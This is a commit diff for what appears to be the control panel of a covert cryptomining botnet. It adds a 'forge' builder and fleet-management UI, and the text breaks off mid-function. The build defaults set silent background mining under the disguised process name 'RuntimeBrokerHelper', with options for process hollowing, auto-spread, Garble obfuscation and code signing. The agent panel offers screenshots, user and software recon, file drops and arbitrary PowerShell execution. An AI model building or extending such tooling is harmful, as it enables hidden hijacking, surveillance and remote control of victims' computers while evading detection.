Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types';
|
||||
import { authHeaders } from './auth';
|
||||
|
||||
const API_BASE = '/api/v1';
|
||||
@@ -63,6 +63,23 @@ export const api = {
|
||||
});
|
||||
},
|
||||
|
||||
estimateFusion: (req: BuildRequest, prepFile: File) => {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/estimate`, {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<FusionEstimate>;
|
||||
});
|
||||
},
|
||||
|
||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||||
|
||||
@@ -101,6 +118,18 @@ export const api = {
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
|
||||
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
||||
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ notes, tags }),
|
||||
}),
|
||||
|
||||
sendBulkCommand: (agentIds: string[], action: string) =>
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||||
}),
|
||||
|
||||
createUser: (username: string, password: string) =>
|
||||
fetchJSON<{ success: boolean }>('/users', {
|
||||
method: 'POST',
|
||||
|
||||
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
@@ -0,0 +1,97 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
selected: boolean;
|
||||
expanded: boolean;
|
||||
selectable?: boolean;
|
||||
checked?: boolean;
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
agent,
|
||||
selected,
|
||||
expanded,
|
||||
selectable,
|
||||
checked,
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
const handleRowClick = (e: React.MouseEvent) => {
|
||||
const target = e.target as HTMLElement;
|
||||
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
|
||||
return;
|
||||
}
|
||||
onSelect();
|
||||
onToggleExpand();
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
|
||||
onClick={handleRowClick}
|
||||
>
|
||||
<div className="agent-list-header">
|
||||
<div className="agent-list-name">
|
||||
{selectable && (
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox agent-list-select"
|
||||
checked={!!checked}
|
||||
onChange={(e) => {
|
||||
e.stopPropagation();
|
||||
onCheck?.(e.target.checked);
|
||||
}}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
/>
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div className="agent-list-tags">
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="agent-list-details">
|
||||
<span>{formatHashrate(agent.hashrate_15m)}</span>
|
||||
<span>{agent.ip || '—'}</span>
|
||||
{!expanded && <span className="form-hint">click for details</span>}
|
||||
</div>
|
||||
|
||||
{!expanded && agent.notes?.trim() && (
|
||||
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
|
||||
)}
|
||||
|
||||
{expanded && (
|
||||
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-list-meta">
|
||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
|
||||
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
interface Props {
|
||||
@@ -8,6 +9,8 @@ interface Props {
|
||||
agent?: Agent;
|
||||
agentId?: string;
|
||||
agentName?: string;
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
|
||||
agent,
|
||||
agentId: agentIdProp,
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
const online = agent?.status !== 'offline';
|
||||
const isOnline = onlineProp ?? agent?.status === 'online';
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as {
|
||||
agent_id?: string;
|
||||
action?: string;
|
||||
success?: boolean;
|
||||
message?: string;
|
||||
};
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
|
||||
addLog('No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !online) {
|
||||
if (agent && !isOnline) {
|
||||
addLog('Agent is offline');
|
||||
return;
|
||||
}
|
||||
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
|
||||
<div className="action-group recon-group">
|
||||
<h3>Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group mining-group">
|
||||
<h3>Mining Controls</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group power-group">
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
|
||||
|
||||
<div className="tactical-bottom-row">
|
||||
<div
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
|
||||
onDragOver={handleDragOver}
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
|
||||
onDragOver={isOnline ? handleDragOver : undefined}
|
||||
onDragLeave={handleDragLeave}
|
||||
onDrop={handleDrop}
|
||||
onDrop={isOnline ? handleDrop : undefined}
|
||||
>
|
||||
<span className="drop-icon">📥</span>
|
||||
<p>Drag & Drop file here</p>
|
||||
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
autoComplete="off"
|
||||
disabled={!online}
|
||||
disabled={!isOnline}
|
||||
/>
|
||||
<button type="submit" disabled={!online}>EXEC</button>
|
||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
@@ -0,0 +1,103 @@
|
||||
.agents-list-panel {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.agents-list-panel .agents-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.fleet-toolbar {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.85rem 1rem;
|
||||
}
|
||||
|
||||
.fleet-toolbar-filters {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.fleet-filter-search {
|
||||
flex: 1 1 180px;
|
||||
min-width: 160px;
|
||||
}
|
||||
|
||||
.fleet-filter-select {
|
||||
min-width: 120px;
|
||||
}
|
||||
|
||||
.fleet-filter-attn {
|
||||
font-size: 0.85rem;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.fleet-bulk-bar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
padding-top: 0.75rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row {
|
||||
cursor: pointer;
|
||||
padding: 0.65rem 0.85rem;
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row .agent-list-header {
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row .agent-list-details,
|
||||
.agent-list-item.compact-row .agent-list-meta {
|
||||
font-size: 0.82rem;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.agent-list-item.expanded {
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
}
|
||||
|
||||
.agent-list-expand {
|
||||
margin-top: 0.65rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.agent-tag-chip {
|
||||
display: inline-block;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.1rem 0.45rem;
|
||||
margin-right: 0.25rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan, #0ff);
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
}
|
||||
|
||||
.agent-list-notes-preview {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-muted, #888);
|
||||
font-style: italic;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.agent-list-select {
|
||||
margin-right: 0.5rem;
|
||||
}
|
||||
|
||||
.agent-meta-editor {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.agent-meta-tags-input {
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
@@ -0,0 +1,92 @@
|
||||
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import './FleetToolbar.css';
|
||||
|
||||
interface Props {
|
||||
agents: Agent[];
|
||||
filters: FleetFilterState;
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
onBulkAction: (action: string) => void;
|
||||
bulkBusy: boolean;
|
||||
}
|
||||
|
||||
export default function FleetToolbar({
|
||||
agents,
|
||||
filters,
|
||||
onChange,
|
||||
selectedCount,
|
||||
onBulkAction,
|
||||
bulkBusy,
|
||||
}: Props) {
|
||||
const tags = collectFleetTags(agents);
|
||||
const subnets = collectFleetSubnets(agents);
|
||||
|
||||
return (
|
||||
<div className="fleet-toolbar card">
|
||||
<div className="fleet-toolbar-filters">
|
||||
<input
|
||||
type="search"
|
||||
className="input fleet-filter-search"
|
||||
placeholder="Search name, IP, notes, tags…"
|
||||
value={filters.search}
|
||||
onChange={(e) => onChange({ ...filters, search: e.target.value })}
|
||||
/>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={filters.tag}
|
||||
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
|
||||
title="Filter by tag"
|
||||
>
|
||||
<option value="">All tags</option>
|
||||
{tags.map((t) => (
|
||||
<option key={t} value={t}>{t}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={filters.subnet}
|
||||
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
|
||||
title="Filter by subnet"
|
||||
>
|
||||
<option value="">All subnets</option>
|
||||
{subnets.map((s) => (
|
||||
<option key={s} value={s}>{s}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={String(filters.hashrateMin)}
|
||||
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
|
||||
title="Minimum 15m hashrate"
|
||||
>
|
||||
<option value="0">Any hashrate</option>
|
||||
<option value="1000">≥ 1 KH/s</option>
|
||||
<option value="10000">≥ 10 KH/s</option>
|
||||
<option value="100000">≥ 100 KH/s</option>
|
||||
<option value="1000000">≥ 1 MH/s</option>
|
||||
</select>
|
||||
<label className="checkbox-label fleet-filter-attn">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={filters.needsAttention}
|
||||
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
|
||||
/>
|
||||
<span>Needs attention</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{selectedCount > 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<span className="font-tech">{selectedCount} selected</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
53
server/web/src/help/fleetFilters.test.ts
Normal file
53
server/web/src/help/fleetFilters.test.ts
Normal file
@@ -0,0 +1,53 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
const base = (over: Partial<Agent>): Agent => ({
|
||||
id: '1',
|
||||
name: 'w1',
|
||||
wallet: '',
|
||||
ip: '192.168.1.10',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 5000,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
tags: ['lab'],
|
||||
...over,
|
||||
});
|
||||
|
||||
const DEFAULT = {
|
||||
search: '',
|
||||
tag: '',
|
||||
subnet: '',
|
||||
hashrateMin: 0,
|
||||
needsAttention: false,
|
||||
};
|
||||
|
||||
describe('fleetFilters', () => {
|
||||
it('filters by tag and subnet', () => {
|
||||
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
|
||||
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
|
||||
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
|
||||
});
|
||||
|
||||
it('flags offline as needs attention', () => {
|
||||
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('agentSubnet', () => {
|
||||
it('masks last octet', () => {
|
||||
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
|
||||
});
|
||||
});
|
||||
95
server/web/src/help/fleetFilters.ts
Normal file
95
server/web/src/help/fleetFilters.ts
Normal file
@@ -0,0 +1,95 @@
|
||||
import type { Agent } from '../types';
|
||||
|
||||
export interface FleetFilterState {
|
||||
search: string;
|
||||
tag: string;
|
||||
subnet: string;
|
||||
hashrateMin: number;
|
||||
needsAttention: boolean;
|
||||
}
|
||||
|
||||
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
|
||||
search: '',
|
||||
tag: '',
|
||||
subnet: '',
|
||||
hashrateMin: 0,
|
||||
needsAttention: false,
|
||||
};
|
||||
|
||||
export function agentSubnet(ip: string): string {
|
||||
const parts = (ip || '').trim().split('.');
|
||||
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
|
||||
return ip || 'unknown';
|
||||
}
|
||||
|
||||
export function agentRejectRate(agent: Agent): number {
|
||||
if (agent.shares_total <= 0) return 0;
|
||||
return (agent.shares_bad / agent.shares_total) * 100;
|
||||
}
|
||||
|
||||
export function agentNeedsAttention(agent: Agent): boolean {
|
||||
if (agent.status !== 'online') return true;
|
||||
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
export function agentIsIdleMiner(agent: Agent): boolean {
|
||||
return agent.status === 'online' && agent.hashrate_15m < 100;
|
||||
}
|
||||
|
||||
export function collectFleetTags(agents: Agent[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const a of agents) {
|
||||
for (const t of a.tags || []) {
|
||||
const clean = t.trim();
|
||||
if (clean) set.add(clean);
|
||||
}
|
||||
}
|
||||
return [...set].sort((a, b) => a.localeCompare(b));
|
||||
}
|
||||
|
||||
export function collectFleetSubnets(agents: Agent[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const a of agents) {
|
||||
set.add(agentSubnet(a.ip));
|
||||
}
|
||||
return [...set].sort();
|
||||
}
|
||||
|
||||
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
|
||||
const q = filters.search.trim().toLowerCase();
|
||||
return agents.filter((a) => {
|
||||
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
|
||||
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
|
||||
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
|
||||
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
|
||||
if (q) {
|
||||
const hay = [
|
||||
a.name,
|
||||
a.ip,
|
||||
a.notes || '',
|
||||
...(a.tags || []),
|
||||
a.id,
|
||||
]
|
||||
.join(' ')
|
||||
.toLowerCase();
|
||||
if (!hay.includes(q)) return false;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
export function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
export function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'always',
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
const srv = config.server;
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
|
||||
}
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
if (value === true && next.pool_port === 3333) {
|
||||
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
||||
|
||||
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
describe('forgeSmartDefaults', () => {
|
||||
it('suggests next worker-N name', () => {
|
||||
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
|
||||
});
|
||||
|
||||
it('picks LAN url over localhost', () => {
|
||||
expect(
|
||||
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
|
||||
).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
|
||||
it('fills worker and process name', () => {
|
||||
const form = applySmartForgeDefaults(
|
||||
{ worker_name: '', server_url: '' } as BuildRequest,
|
||||
{ endpointCandidates: ['http://10.0.0.2:8989'] }
|
||||
);
|
||||
expect(form.worker_name).toMatch(/^worker-/);
|
||||
expect(form.process_name).toBeTruthy();
|
||||
expect(form.server_url).toBe('http://10.0.0.2:8989');
|
||||
expect(form.mining_mode).toBe('idle');
|
||||
});
|
||||
});
|
||||
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
@@ -0,0 +1,125 @@
|
||||
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import { lanEndpointCandidates } from './endpointHelpers';
|
||||
|
||||
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
|
||||
|
||||
/** Suggested unique worker label for the next forge. */
|
||||
export function suggestWorkerName(existing: BuildRecord[]): string {
|
||||
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
|
||||
for (let i = 1; i <= 999; i++) {
|
||||
const name = `worker-${i}`;
|
||||
if (!used.has(name)) return name;
|
||||
}
|
||||
return `worker-${Date.now().toString(36)}`;
|
||||
}
|
||||
|
||||
function sanitizeProcessName(workerName: string): string {
|
||||
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
return cleaned || 'RuntimeBrokerHelper';
|
||||
}
|
||||
|
||||
function isGoodServerUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
const host = u.hostname.toLowerCase();
|
||||
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/** Pick the best control-server URL for workers on the LAN. */
|
||||
export function pickBestServerUrl(current: string, candidates: string[]): string {
|
